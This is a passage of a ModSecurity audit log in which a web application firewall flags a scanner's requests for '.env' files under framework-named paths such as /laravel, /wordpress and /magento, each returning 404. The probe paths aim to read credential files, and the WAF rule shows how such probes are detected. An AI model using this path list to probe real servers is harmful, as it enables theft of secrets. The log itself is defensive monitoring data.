Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/staging/.env"] [unique_id "aqYLq2M7dE9KgIIOpQhdoQAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266859270981 116210 (- - -)
Stopwatch2: 1789266859270981 116210; combined=4064, p1=245, p2=3727, p3=0, p4=0, p5=91, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bf2d3623-Z--

--4440b177-A--
[13/Sep/2026:05:34:20.382509 +0300] aqYLrGM7dE9KgIIOpQhdogAAAMQ 34.175.231.24 45138 127.0.0.1 7081
--4440b177-B--
GET /opt/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--4440b177-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4440b177-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/opt/.env"] [unique_id "aqYLrGM7dE9KgIIOpQhdogAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266860265745 116819 (- - -)
Stopwatch2: 1789266860265745 116819; combined=3956, p1=230, p2=3657, p3=0, p4=0, p5=68, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4440b177-Z--

--2356e365-A--
[13/Sep/2026:05:34:21.394668 +0300] aqYLrTTJ6xTvcJoem7f1fAAAAEA 34.175.231.24 45140 127.0.0.1 7081
--2356e365-B--
GET /laravel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--2356e365-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2356e365-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/laravel/.env"] [unique_id "aqYLrTTJ6xTvcJoem7f1fAAAAEA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266861246252 148491 (- - -)
Stopwatch2: 1789266861246252 148491; combined=4376, p1=382, p2=3934, p3=0, p4=0, p5=60, sr=134, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2356e365-Z--

--930b7452-A--
[13/Sep/2026:05:34:22.521203 +0300] aqYLrmM7dE9KgIIOpQhdowAAAME 34.175.231.24 45142 127.0.0.1 7081
--930b7452-B--
GET /symfony/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--930b7452-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--930b7452-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/symfony/.env"] [unique_id "aqYLrmM7dE9KgIIOpQhdowAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266862395346 125964 (- - -)
Stopwatch2: 1789266862395346 125964; combined=4641, p1=288, p2=4252, p3=0, p4=0, p5=101, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--930b7452-Z--

--18b76b25-A--
[13/Sep/2026:05:34:23.792734 +0300] aqYLrzTJ6xTvcJoem7f1fQAAAE0 34.175.231.24 45158 127.0.0.1 7081
--18b76b25-B--
GET /wordpress/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--18b76b25-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--18b76b25-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/wordpress/.env"] [unique_id "aqYLrzTJ6xTvcJoem7f1fQAAAE0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266863660484 132345 (- - -)
Stopwatch2: 1789266863660484 132345; combined=5426, p1=323, p2=5014, p3=0, p4=0, p5=89, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--18b76b25-Z--

--c086a303-A--
[13/Sep/2026:05:34:24.985598 +0300] aqYLsGM7dE9KgIIOpQhdpAAAAMU 34.175.231.24 45166 127.0.0.1 7081
--c086a303-B--
GET /wp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c086a303-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c086a303-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/wp/.env"] [unique_id "aqYLsGM7dE9KgIIOpQhdpAAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266864855379 130372 (- - -)
Stopwatch2: 1789266864855379 130372; combined=5760, p1=748, p2=4929, p3=0, p4=0, p5=83, sr=406, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c086a303-Z--

--73e3ee37-A--
[13/Sep/2026:05:34:26.135470 +0300] aqYLsjTJ6xTvcJoem7f1fgAAAEI 34.175.231.24 45426 127.0.0.1 7081
--73e3ee37-B--
GET /cms/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--73e3ee37-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--73e3ee37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cms/.env"] [unique_id "aqYLsjTJ6xTvcJoem7f1fgAAAEI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266866006737 128808 (- - -)
Stopwatch2: 1789266866006737 128808; combined=4319, p1=228, p2=4021, p3=0, p4=0, p5=70, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--73e3ee37-Z--

--a8b05f2b-A--
[13/Sep/2026:05:34:27.314415 +0300] aqYLszTJ6xTvcJoem7f1fwAAAEY 34.175.231.24 45436 127.0.0.1 7081
--a8b05f2b-B--
GET /drupal/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a8b05f2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a8b05f2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/drupal/.env"] [unique_id "aqYLszTJ6xTvcJoem7f1fwAAAEY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266867185945 128524 (- - -)
Stopwatch2: 1789266867185945 128524; combined=5385, p1=302, p2=5029, p3=0, p4=0, p5=54, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a8b05f2b-Z--

--3ca60241-A--
[13/Sep/2026:05:34:28.718288 +0300] aqYLtDTJ6xTvcJoem7f1gAAAAEo 34.175.231.24 45448 127.0.0.1 7081
--3ca60241-B--
GET /joomla/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--3ca60241-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3ca60241-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/joomla/.env"] [unique_id "aqYLtDTJ6xTvcJoem7f1gAAAAEo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266868580850 137495 (- - -)
Stopwatch2: 1789266868580850 137495; combined=11969, p1=296, p2=5048, p3=0, p4=0, p5=6625, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ca60241-Z--

--d4313b4e-A--
[13/Sep/2026:05:34:30.118063 +0300] aqYLtjTJ6xTvcJoem7f1gQAAAEk 34.175.231.24 45456 127.0.0.1 7081
--d4313b4e-B--
GET /magento/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d4313b4e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d4313b4e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/magento/.env"] [unique_id "aqYLtjTJ6xTvcJoem7f1gQAAAEk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266870004649 113469 (- - -)
Stopwatch2: 1789266870004649 113469; combined=4300, p1=240, p2=4003, p3=0, p4=0, p5=57, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4313b4e-Z--

--22f77c59-A--
[13/Sep/2026:05:34:31.769979 +0300] aqYLt2M7dE9KgIIOpQhdpQAAANI 34.175.231.24 45466 127.0.0.1 7081
--22f77c59-B--
GET /shopify/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--22f77c59-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--22f77c59-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/shopify/.env"] [unique_id "aqYLt2M7dE9KgIIOpQhdpQAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266871647014 123069 (- - -)
Stopwatch2: 1789266871647014 123069; combined=4131, p1=243, p2=3785, p3=0, p4=0, p5=103, sr=101, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--22f77c59-Z--

--fb705767-A--
[13/Sep/2026:05:34:33.096135 +0300] aqYLuDTJ6xTvcJoem7f1ggAAAEg 34.175.231.24 45472 127.0.0.1 7081
--fb705767-B--
GET /prestashop/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--fb705767-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fb705767-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/prestashop/.env"] [unique_id "aqYLuDTJ6xTvcJoem7f1ggAAAEg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266872972010 124180 (- - -)
Stopwatch2: 1789266872972010 124180; combined=4961, p1=237, p2=4669, p3=0, p4=0, p5=54, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb705767-Z--

--da517126-A--
[13/Sep/2026:05:34:34.333593 +0300] aqYLukwu1RSkptiiNIXtmQAAAIU 34.175.231.24 45478 127.0.0.1 7081
--da517126-B--
GET /codeigniter/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--da517126-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--da517126-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/codeigniter/.env"] [unique_id "aqYLukwu1RSkptiiNIXtmQAAAIU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266874208334 125348 (- - -)
Stopwatch2: 1789266874208334 125348; combined=4234, p1=212, p2=3926, p3=0, p4=0, p5=96, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--da517126-Z--

--a2ada64b-A--
[13/Sep/2026:05:34:35.884894 +0300] aqYLu0wu1RSkptiiNIXtmgAAAIM 34.175.231.24 42172 127.0.0.1 7081
--a2ada64b-B--
GET /cakephp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a2ada64b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a2ada64b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/cakephp/.env"] [unique_id "aqYLu0wu1RSkptiiNIXtmgAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266875747252 137706 (- - -)
Stopwatch2: 1789266875747252 137706; combined=5017, p1=203, p2=4763, p3=0, p4=0, p5=51, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
